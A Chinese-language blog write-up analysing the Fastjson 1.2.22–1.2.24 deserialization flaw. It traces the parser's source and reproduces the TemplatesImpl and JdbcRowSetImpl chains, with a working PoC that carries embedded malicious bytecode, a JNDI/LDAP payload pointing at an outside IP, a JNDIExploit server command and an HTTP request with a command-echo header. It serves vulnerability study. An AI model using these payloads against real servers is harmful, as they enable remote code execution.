Fastjson反序列化漏洞分析 1.2.22-1.2.24

时间:2021-09-19 03:52:01

Fastjson反序列化漏洞分析 1.2.22-1.2.24

Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。

环境

Tomcat 8.5.56

org.apache.tomcat.embed 8.5.58

fastjson 1.2.24

漏洞版本:

  • fastjson 1.2.22-1.2.24

利用方式:

  • TemplatesImpl
  • JdbcRowSetImpl

FastJson序列化

序列化主要是通过toJSONString方法,而设置SerializerFeature.WriteClassName属性之后在序列化的时候会多写入一个@type,并写上被序列化的类名。

@WebServlet("/ser")
public class SerServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
} @Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { Person person = new Person();
person.setAge(18);
person.setName("Student");
String jsonString = JSON.toJSONString(person, SerializerFeature.WriteClassName);
System.out.println(jsonString); resp.getWriter().write(jsonString);
}
}

反序列化则是通过parse()/parseObject()方法,parseObject其实也是使用的parse方法,只是多了一处toJSON方法处理对象。

Fastjson反序列化漏洞分析 1.2.22-1.2.24

(注意本地测试时可能需要开启autotype),可以选择在jvm参数中添加-Dfastjson.parser.autoTypeSupport=true

Fastjson反序列化漏洞分析 1.2.22-1.2.24

@WebServlet("/deser")
public class DeserServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req,resp);
} @Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { Object parse = JSON.parseObject(req.getParameter("param"));
System.out.println(JSON.parseObject(req.getParameter("param")));
resp.getWriter().write(parse.toString());
}
}

可以看到带上@type并且开启autotype指定反序列化的类后会默认调用该类的构造/get/set方法

param={"@type":"com.example.Fastjson_Tomcat.fastjson.Person", "age":18,"name":"Student"}

Fastjson反序列化漏洞分析 1.2.22-1.2.24

Fastjson反序列化漏洞分析 1.2.22-1.2.24

Fastjson反序列化

JSON.parseObject下断点,跟一下反序列化的过程

Fastjson反序列化漏洞分析 1.2.22-1.2.24

首先进入parseObject方法,在里面调用的parse方法

Fastjson反序列化漏洞分析 1.2.22-1.2.24

继续跟,在重载的parse方法中看到了这样一个参数DEFAULT_PARSER_FEATURE。在fj中在调用JSON.parse(text)对json文本进行解析时,这里使用的是缺省的默认配置

public static Object parse(String text) {
return parse(text, DEFAULT_PARSER_FEATURE);
} public static Object parse(String text, int features) {
if (text == null) {
return null;
} else {
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
}

而在后续创建DefaultJSONParser实例对象时,值得注意的是传入了一个ParserConfig.getGlobalInstance(),调用后会获取global属性,该属性会生成一个ParserConfig的实例化对象,里面保存的是全局配置的一些东西,包括网上文章讲的通过代码开启autotype的一种方式也是利用的该类

Fastjson反序列化漏洞分析 1.2.22-1.2.24

那么在创建DefaultJSONParser实例中调用其有参构造时,还用到了JSONScanner,其继承自JSONLexerBase也是做为词法解析器的实现类,进入new JSONScanner时,首先会调用父类JSONLexerBase的有参构造(参数为features),调用时会做包括初始化时区、语言等配置。

Fastjson反序列化漏洞分析 1.2.22-1.2.24

Fastjson反序列化漏洞分析 1.2.22-1.2.24

后续,后面JSONScanner也会作为lexer(词法解析器)对反序列化的字符串逐个读取,回到JSONScanner的构造方法,初始化了一些值,包括

private final String text;  //待反序列化的字符串
private final int len; //字符串的长度

而调用JSONScanner#next()方法时,如果读取到末尾时则返回\u001a,否则调用charAt方法返回指定索引代表的字符。那么配合上之前的逻辑,就是在这里循环获取的我们传入的待反序列化str,并且还会跳过\ufeff(\ufeff是utf-8的BOM,BOM(“ByteOrder Mark”),用来声明编码信息)

public final char next() {
int index = ++this.bp;
return this.ch = index >= this.len ? '\u001a' : this.text.charAt(index);
}

关于DefaultJSONParser相关属性:

input: 传入的待反序列化字符串

config: 配置信息

lexer: 词法解析器

Fastjson反序列化漏洞分析 1.2.22-1.2.24

回头看DefaultJSONParser的实例化,最终调用的是DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config)方法,这里初始化了很多有用的信息:

 this.lexer     //词法解析器
this.input //待反序列化字符串
this.config //配置信息
this.symbolTable //这个在三梦师傅文章提过,“我称之为符号表,它可以根据传入的字符,进而解析知道你想要读取的一段字符串”
还有一步很重要,这里对lexer.token赋值为12

Fastjson反序列化漏洞分析 1.2.22-1.2.24

token这个值是JSONLexerBase类中的属性,这里把JSONToken类贴出来方便理解。个人感觉token是对于当前字符ch的一个映射,用来表示input中的某些特殊字符,更官方一点的说法可能就是词法类型

public class JSONToken {
public static final int ERROR = 1;
public static final int LITERAL_INT = 2;
public static final int LITERAL_FLOAT = 3;
public static final int LITERAL_STRING = 4;
public static final int LITERAL_ISO8601_DATE = 5;
public static final int TRUE = 6;
public static final int FALSE = 7;
public static final int NULL = 8;
public static final int NEW = 9;
public static final int LPAREN = 10;
public static final int RPAREN = 11;
public static final int LBRACE = 12;
public static final int RBRACE = 13;
public static final int LBRACKET = 14;
public static final int RBRACKET = 15;
public static final int COMMA = 16;
public static final int COLON = 17;
public static final int IDENTIFIER = 18;
public static final int FIELD_NAME = 19;
public static final int EOF = 20;
public static final int SET = 21;
public static final int TREE_SET = 22;
public static final int UNDEFINED = 23; public JSONToken() {
} public static String name(int value) {
switch(value) {
case 1:
return "error";
case 2:
return "int";
case 3:
return "float";
case 4:
return "string";
case 5:
return "iso8601";
case 6:
return "true";
case 7:
return "false";
case 8:
return "null";
case 9:
return "new";
case 10:
return "(";
case 11:
return ")";
case 12:
return "{";
case 13:
return "}";
case 14:
return "[";
case 15:
return "]";
case 16:
return ",";
case 17:
return ":";
case 18:
return "ident";
case 19:
return "fieldName";
case 20:
return "EOF";
case 21:
return "Set";
case 22:
return "TreeSet";
case 23:
return "undefined";
default:
return "Unknown";
}
}
}

DefaultJSONParser实例化之后调用parse()方法

public static Object parse(String text, int features) {
if (text == null) {
return null;
} else {
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
}

调用重载的parse,继续跟进

public Object parse() {
return this.parse((Object)null);
}

最终进入Object parse(Object fieldName)方法

首先拿到lexer此法解析器,后续通过lexer.token()获取到当前的token的值,为12,之后进入switch逻辑

Fastjson反序列化漏洞分析 1.2.22-1.2.24

当case 12时,进入如下逻辑,跟进JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));

Fastjson反序列化漏洞分析 1.2.22-1.2.24

首先来一段八股文。Feature.OrderedField作用是将String转换Json对象时不要调整顺序(FastJson转换时默认使用HashMap,所以排序规则是根据HASH值排序的)

而最终lexer.isEnabled(Feature.OrderedField)==false,这里boolean的值决定了使用HashMap还是LinkedMap存放数据。当为false时,使用HashMap存放。上面说了HashMap的根据key的hash算法确定在数组中的位置,当发生hash冲突的时候,根据二叉树或者红黑树构成链表。所以是有序的,key确定,位置也就确定了。而LinkedHashMap的内部维持了一个双向链表,保存了数据的插入顺序,遍历时,先得到的数据便是先插入的。

public JSONObject(int initialCapacity, boolean ordered) {
if (ordered) {
this.map = new LinkedHashMap(initialCapacity);
} else {
this.map = new HashMap(initialCapacity);
} }

回到parse方法,之后进入this.parseObject((Map)object, fieldName)

依然是依据token的值进行处理,进入while循环后首先调用skipWhitespace方法对类似于\r,\n,\t等空格类的字符进行处理操作,之后通过getCurrent()方法拿到当前的ch值(如果当前值为,则向后读取一位)第一次为"

Fastjson反序列化漏洞分析 1.2.22-1.2.24

后续值得注意的是lexer.scanSymbol方法,该方法会取出被"包裹的值,第一次是拿来获取key,第二次则是当key的值为@type且未禁用关键字解析(也就是我们通常所说的禁用autotype)则会调用loadClass方法去生成指定类的class对象。对应代码如下:

if (ch == '"') {
key = lexer.scanSymbol(this.symbolTable, '"');
lexer.skipWhitespace();
ch = lexer.getCurrent(); ...
...
ch = lexer.getCurrent();
lexer.resetStringPosition();
Object obj;
Object instance;
String ref;
Object thisObj;
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
ref = lexer.scanSymbol(this.symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());

所以,比如我们经常看到的一种poc"{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatessImpl"当未禁用key解析时(@type)就会帮我们生成TemplatessImpl的class对象。

之后获取ObjectDeserializer对象并调用deserialze方法进行反序列化

Fastjson反序列化漏洞分析 1.2.22-1.2.24

这里主要关注下在调用this.config.getDeserailizer(clazz)方法时,会调用JavaBeanInfo.build(),首先这里通过反射获取到该类中所有的get/set方法赋值给methods数组,之后会去循环遍历符合条件的get/set方法

Fastjson反序列化漏洞分析 1.2.22-1.2.24

贴出部分build方法中判断逻辑代码:

public static JavaBeanInfo build(Class<?> clazz, Type type, PropertyNamingStrategy propertyNamingStrategy) {
...
if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {
Class<?>[] types = method.getParameterTypes(); ... if (methodName.startsWith("set")) {
char c3 = methodName.charAt(3);
String propertyName;
if (!Character.isUpperCase(c3) && c3 <= 512) {
if (c3 == '_') {
propertyName = methodName.substring(4);
} else if (c3 == 'f') {
propertyName = methodName.substring(3);
} else {
if (methodName.length() < 5 || !Character.isUpperCase(methodName.charAt(4))) {
continue;
} propertyName = TypeUtils.decapitalize(methodName.substring(3));
}
} else if (TypeUtils.compatibleWithJavaBean) {
propertyName = TypeUtils.decapitalize(methodName.substring(3));
} else {
propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
} Field field = TypeUtils.getField(clazz, propertyName, declaredFields);
if (field == null && types[0] == Boolean.TYPE) {
isFieldName = "is" + Character.toUpperCase(propertyName.charAt(0)) + propertyName.substring(1);
field = TypeUtils.getField(clazz, isFieldName, declaredFields);
} ... var30 = clazz.getMethods();
var29 = var30.length; for(i = 0; i < var29; ++i) {
method = var30[i];
String methodName = method.getName();
if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3)) && method.getParameterTypes().length == 0 && (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType())) {
JSONField annotation = (JSONField)method.getAnnotation(JSONField.class);
if (annotation == null || !annotation.deserialize()) {
String propertyName;
if (annotation != null && annotation.name().length() > 0) {
propertyName = annotation.name();
} else {
propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
} fieldInfo = getField(fieldList, propertyName);
if (fieldInfo == null) {
if (propertyNamingStrategy != null) {
propertyName = propertyNamingStrategy.translate(propertyName);
} add(fieldList, new FieldInfo(propertyName, method, (Field)null, clazz, type, 0, 0, 0, annotation, (JSONField)null, (String)null));
}
}
}
} return new JavaBeanInfo(clazz, builderClass, defaultConstructor, (Constructor)null, (Method)null, buildMethod, jsonType, fieldList);
}
}

简单跟一下后发现 大致对于set/get方法查找逻辑如下:

set查找逻辑:

1、方法名长度大于等于4

2、非static方法

3、返回值为void或当前类

4、方法名以set开头

get查找逻辑:

1、方法名长度大于等于4

2、方法名以get开头

3、方法名第4个字母为大写

4、无需传参

5、返回值类型为Collection、Map的实现类或为AtomicBoolean AtomicInteger AtomicLong

下面跟一下在反序列化时调用get/set方法的逻辑:

回到ObjectDeserializer.deserialize方法,在parseField下断点

Fastjson反序列化漏洞分析 1.2.22-1.2.24

跟进重载的parseField方法,

Fastjson反序列化漏洞分析 1.2.22-1.2.24

跟进setValue

Fastjson反序列化漏洞分析 1.2.22-1.2.24

在setValue方法中反射调用set/get方法

Fastjson反序列化漏洞分析 1.2.22-1.2.24

小结

JSON.parseObject()
JSON.parse() //实际上还是调用到parse()方法
DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
// 其中涉及到了一些属性如 text,len,input,ch,config,symbolTable等
JSONScanner(input, features) // lexer 词法解析器
JSONLexerBase(features)
DefaultJSONParser.parse()
DefaultJSONParser.parse((Object)null)
lexer.token() // 获取当前token
lexer.isEnabled(Feature.OrderedField) // 判断使用HashMap还是LinkedMap
this.parseObject((Map)object, fieldName)
key = lexer.scanSymbol(this.symbolTable, '"') //第1次获取传入的第1个key,为@type
ref = lexer.scanSymbol(this.symbolTable, '"') //当开启autotype且key值为@type时执行下面逻辑
clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader()) //获取指定类的class对象
this.config.getDeserializer(clazz) // 获取ObjectDeserializer对象
JavaBeanInfo.build() //根据指定类中符合条件的get/set方法
deserializer.deserialze(this, clazz, fieldName)
this.deserialze(parser, type, fieldName, 0)
((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType, fieldValues)
setValue(Object object, Object value) //反射调用set/get方法

Fastjson TemplatessImpl复现分析

漏洞复现

漏洞环境:

感谢keyi老师提供的漏洞环境~

pom.xml

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.12</version>
</dependency> <dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.5</version>
</dependency> <dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>4.0.9</version>
</dependency>

服务端代码

// TemplatesImple
public static void testTemplatesImple(String payload){ System.out.println("[*] Payload:" + payload);
try {
JSON.parse(payload, Feature.SupportNonPublicField);
} catch (JSONException var2) {
}
} // Servlet
@WebServlet("/Templates")
public class TemplatesImplPocServlet extends HttpServlet { @Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
} @Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String payload = req.getParameter("param");
FastJson.testTemplatesImple(payload); }
}

前提条件

调用parse()或parseObject()时需要设置Feature.SupportNonPublicField进行反序列化操作才能成功触发利用。因为在利用TemplatesImpl这个类时,_bytecodes_name都是私有属性,而Fastjosn在反序列化时默认只会反序列化public属性,所以需要加上Feature.SupportNonPublicField

PoC

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatessImpl","_bytecodes":["yv66vgAAADQAOgoACQAqCgArACwIAC0KACsALgcALwoABQAwBwAxCgAHACoHADIBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEABHRoaXMBAC9MY29tL2V4YW1wbGUvRmFzdGpzb25fVG9tY2F0L1RlbXBsYXRlSW1wbC9jYWxjOwEADVN0YWNrTWFwVGFibGUHADEHAC8BAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAMwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABGNhbGMBAApTb3VyY2VGaWxlAQAJY2FsYy5qYXZhDAAKAAsHADQMADUANgEAEm9wZW4gLWEgQ2FsY3VsYXRvcgwANwA4AQATamF2YS9pby9JT0V4Y2VwdGlvbgwAOQALAQAtY29tL2V4YW1wbGUvRmFzdGpzb25fVG9tY2F0L1RlbXBsYXRlSW1wbC9jYWxjAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAkAAAAAAAQAAQAKAAsAAQAMAAAAdAACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAwANAAAAEgAEAAAADQAEAA8ADQAQABUAEQAOAAAAFgACABEABAAPABAAAQAAABYAEQASAAAAEwAAABAAAv8AEAABBwAUAAEHABUEAAEAFgAXAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAWAA4AAAAgAAMAAAABABEAEgAAAAAAAQAYABkAAQAAAAEAGgAbAAIAHAAAAAQAAQAdAAEAFgAeAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAbAA4AAAAqAAQAAAABABEAEgAAAAAAAQAYABkAAQAAAAEAHwAgAAIAAAABACEAIgADABwAAAAEAAEAHQAJACMAJAABAAwAAABBAAIAAgAAAAm7AAdZtwAITLEAAAACAA0AAAAKAAIAAAAeAAgAHwAOAAAAFgACAAAACQAlACYAAAAIAAEAJwASAAEAAQAoAAAAAgAp"],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}

运行后访问该Servlet的路由即可弹出计算器

Fastjson反序列化漏洞分析 1.2.22-1.2.24

简单看下poc,之前分析CC3的文章中有深入分析过TemplatesImpl这个类,在CC3的场景也是利用的初始化TemplatesImpl去实现的代码执行,其中涉及到几个判断,首先是_name不为null,且_bytescodes代表的类的父类为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet最后通过ClassLoader#defineClass()加载字节码实现代码执行。

所以这次poc中的几个点像是_name_bytecodes就比较容易理解为什么要这样构造了。但是还有一些诸如'_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}这段以及为什么要base64编码字节码,并且在里面为什么会被正常解码还不是很清楚,后面调试分析一下。

调试分析

引用一段Mik7ea师傅poc说明:

下面调一下这整条链,带着刚才的几个问题进去调:

  • _bytecodes为什么在反序列化时进行base64解码
  • _outputProperties如何与getOutputProperties方法关联起来
  • _tfactory为什么要设置值

还是在parse()方法处下断点,跟进后首先在Feature.config(featureValues, feature, true)方法中通过或等于Feature.mask生成一段值之后赋值给featureValues,之后带着featureValuestext(输入的poc)传给重载的parse()方法

Fastjson反序列化漏洞分析 1.2.22-1.2.24

中间省略掉new DefaultJSONParser()等步骤,跟进到DefaultJSONParser#parse()方法里,其实主要是看怎么解析的JSON字符串,我们直接跟到关键方法里:其中在this.parseObject((Map)object, fieldName)处对数据进行解析

Fastjson反序列化漏洞分析 1.2.22-1.2.24

继续跟进,在parseObject()方法中首先还是对空格等字符进行处理,之后获取当前下标的ch字符,第一个是"

Fastjson反序列化漏洞分析 1.2.22-1.2.24

之后进入符合"的if逻辑中,依旧是我们前面说的,通过scanSymbol()方法获取到当前"包裹的键值也就是获取到@type。之后走了一个判断,也就是"包裹之后是不是:了,如果不是:就不符合json格式,直接抛出异常

Fastjson反序列化漏洞分析 1.2.22-1.2.24

之后获取下一个ch,并且继续处理一次空格等相似的字符

Fastjson反序列化漏洞分析 1.2.22-1.2.24

之后的getCurrent()方法拿到的就是我们json键值对中,‘值’所对应的第一个",下面会开始对值进行解析,首先判断当前key是否为@type并且是否开启了autptype,条件符合则去通过scanSymbol()方法获取到‘值’(TemplatesImpl的全限定类名),之后通过loadClass()加载这个‘值’也就是TemplatesImpl这个类

Fastjson反序列化漏洞分析 1.2.22-1.2.24

跟进loadClass()方法,首先先去mappings中根据该className获取相应的类的class对象

Fastjson反序列化漏洞分析 1.2.22-1.2.24

不过这次肯定没有,之后还有两个判断逻辑,判断是否以[开头或以L开头以;结尾,不过这次没有进入该逻辑,但这两个点会涉及到后面一些补丁的绕过

Fastjson反序列化漏洞分析 1.2.22-1.2.24

之后就是通过当前线程获取当前上下文的ClassLoader之后调用loadClass加载该类并将ClassName与class对象的映射put进Map中去,最后return该class对象

Fastjson反序列化漏洞分析 1.2.22-1.2.24

回到DefaultJSONParser#parseObject()方法,通过getDeserializer获得当前class对象中的一些set/get方法,这个在上面已经分析过了,下面跟进deserialzie方法

Fastjson反序列化漏洞分析 1.2.22-1.2.24

中间有一些扫描和逻辑判断的过程,之后来到parseField方法

Fastjson反序列化漏洞分析 1.2.22-1.2.24

解析到key为_bytecodes时,调用parseField方法

Fastjson反序列化漏洞分析 1.2.22-1.2.24

获取到_bytecodes对应的值后,调用setValue方法设置值

Fastjson反序列化漏洞分析 1.2.22-1.2.24

跟入后,先判断当前fieldinfomethod还是field,因为是_bytecodes所以走入处理field的逻辑

Fastjson反序列化漏洞分析 1.2.22-1.2.24

之后就是Filed.set() 将恶意类的bytes数组设置为TemplatesImpl类中属性_bytecodes的值

Fastjson反序列化漏洞分析 1.2.22-1.2.24

后续就是循环,通过调用parseField解析各个key,当key为_outputProperties继续跟进

Fastjson反序列化漏洞分析 1.2.22-1.2.24

首先在smartMatch()方法去掉_

Fastjson反序列化漏洞分析 1.2.22-1.2.24

后续和上面_bytecodes处理差不多,直接跟进到setValue()方法。因为与_bytecodes不通,这里去掉了_outputProperties会进入处理method的逻辑里

Fastjson反序列化漏洞分析 1.2.22-1.2.24

而因为返回值类型为Properties它是Map接口的实现类,所以会跳入该else if逻辑中,通过反射调用getOutputProperties

Fastjson反序列化漏洞分析 1.2.22-1.2.24

后面其实就是走defineClass()加载字节码然后通过newInstance()实例化,就不再过多分析了。

Fastjson反序列化漏洞分析 1.2.22-1.2.24

0x01 关于_bytecodes base64编码:

parseField()方法中的deserialize方法中会进行base64解码,调用栈如下图

Fastjson反序列化漏洞分析 1.2.22-1.2.24

第一次进入时token为16,当第二次才为4,从而调用bytesValue()进行base64解码

Fastjson反序列化漏洞分析 1.2.22-1.2.24

Fastjson反序列化漏洞分析 1.2.22-1.2.24

0x02 关于_tfactory:

_tfactory其实是因为在getTransletInstance()函数中调用了defineTransletClasses()函数,defineTransletClasses()中会调用_tfactory.getExternalExtensionsMap(),所以要设置值,不能为null

Fastjson反序列化漏洞分析 1.2.22-1.2.24

Fastjson JdbcRowSetImpl复现分析

这条链子其实是通过JNDI的方式实现的代码执行

JNDI

JNDI可以参考我之前写的JNDI文章

利用姿势主要是RMI或LDAP方式去利用,但是通常是通过LDAP方式去利用,而JNDI+LDAP的限制为JDK版本<=6u211、7u201、8u191,高版本JDK需要去Bypass,Bypass的姿势可以参考kingx师傅和浅蓝师傅的文章,这里就不再细究了。

利用的话可以使用marshalsec项目或者feihong师傅的JNDIExploit

漏洞复现

PoC,这里用feihong师傅的JNDIExploit

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://vps_ip:1389/", "autoCommit":true}

vps起JNDIExlpoit

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i vps_ip -l 1389 -p 809
0

payload

POST /Fastjson_Tomcat_war/JdbcRowSetImpl HTTP/1.1
Host: localhost:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=208EB5DC36CB137A684E0157379FE8CC
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 127
cmd: ls param={"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://8.142.34.126:1389/Basic/TomcatEcho", "autoCommit":true}

Fastjson反序列化漏洞分析 1.2.22-1.2.24

调试分析

这条链主要是com.sun.rowset.JdbcRowSetImpl类中存在setAutoCommit()setDataSourceName()方法,通过Fastjson的反序列化机制会自动调用set方法来实现JNDI注入

下断点跟进去,前面和TemplatesImpl链过程类似,重点看deserialze()之后的部分

继续跟进后走到FastjsonASMDeserializer中,这部分是ASM机制生成的临时代码,这部分是看不到的,继续跟进就好

之后进入JdbcRowSetImpl#setDataSourceName()方法,会将我们的远程地址写入dataSource属性

Fastjson反序列化漏洞分析 1.2.22-1.2.24

Fastjson反序列化漏洞分析 1.2.22-1.2.24

之后回到deserialze()方法依旧是走parseField()逻辑,最终在setvalue()方法会去反射调用setAutocommit(),跟进去

Fastjson反序列化漏洞分析 1.2.22-1.2.24

setAutocommit()中会去调用connect()方法,后续就是经典的Initialcontext#lookup()触发JNDI注入了,再往后就没必要跟了。

Fastjson反序列化漏洞分析 1.2.22-1.2.24

写在最后

其实1.2.24的Fastjson现在基本遇不到了,而TemplatesImpl链的场景就更少了,更多的用到的还是JdbcRowSetImpl通过JNDI去实现代码执行,但是TemplatesImpl这条链的思路很巧妙,值得学习。

Reference

https://www.cnblogs.com/nice0e3/p/14601670.html

https://threedr3am.github.io/2020/01/29/Fastjson反序列化RCE核心-四个关键点分析/https://www.mi1k7ea.com/2019/11/07/Fastjson系列二——1-2-22-1-2-24反序列化漏洞/

Fastjson反序列化漏洞分析 1.2.22-1.2.24的更多相关文章

  1. Java安全之Fastjson反序列化漏洞分析

    Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...

  2. Fastjson 1&period;2&period;22-24 反序列化漏洞分析

    目录 0x00 废话 0x01 简单介绍 FastJson的简单使用 0x02 原理分析 分析POC 调试分析 0x03 复现过程 0x04 参考文章 0x00 废话 balabala 开始 0x01 ...

  3. Fastjson 1&period;2&period;22-24 反序列化漏洞分析(2)

    Fastjson 1.2.22-24 反序列化漏洞分析(2) 1.环境搭建 我们以ubuntu作为被攻击的服务器,本机电脑作为攻击者 本机地址:192.168.202.1 ubuntu地址:192.1 ...

  4. Fastjson 1&period;2&period;22-24 反序列化漏洞分析(1)

    Fastjson 1.2.22-24 反序列化漏洞分析(1) 前言 FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转 ...

  5. 学习笔记 &vert; java反序列化漏洞分析

    java反序列化漏洞是与java相关的漏洞中最常见的一种,也是网络安全工作者关注的重点.在cve中搜索关键字serialized共有174条记录,其中83条与java有关:搜索deserialized ...

  6. Fastjson反序列化漏洞概述

    Fastjson反序列化漏洞概述 ​ 背景 在推动Fastjson组件升级的过程中遇到一些问题,为帮助业务同学理解漏洞危害,下文将从整体上对其漏洞原理及利用方式做归纳总结,主要是一些概述性和原理上的东 ...

  7. fastjson反序列化漏洞研究(上)

    前言 最近护网期间,又听说fastjson传出“0day”,但网上并没有预警,在github上fastjson库中也有人提问关于fastjson反序列化漏洞的详情.也有人说是可能出现了新的绕过方式.不 ...

  8. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  9. ref&colon;Java安全之反序列化漏洞分析&lpar;简单-朴实&rpar;

    ref:https://mp.weixin.qq.com/s?__biz=MzIzMzgxOTQ5NA==&mid=2247484200&idx=1&sn=8f3201f44e ...

随机推荐

  1. Android中AIDL的理解与使用&lpar;二&rpar;——跨应用绑定Service并通信

    跨应用绑定Service并通信: 1.(StartServiceFromAnotherApp)AIDL文件中新增接口: void setData(String data); AppService文件中 ...

  2. 第三方登录之qq登录&lpar;转载&rpar;

    iOS QQ第三方登实现   我们经常会见到应用登陆的时候会有QQ,微信,微博等的第三方登陆 如图: 下面我们主要讲一下qq的第三方登陆如何实现 首先,到官网注册: http://wiki.conne ...

  3. 求强连通分量模板(tarjan算法)

    关于如何求强连通分量的知识请戳 https://www.byvoid.com/blog/scc-tarjan/ void DFS(int x) { dfn[x]=lowlink[x]=++dfn_cl ...

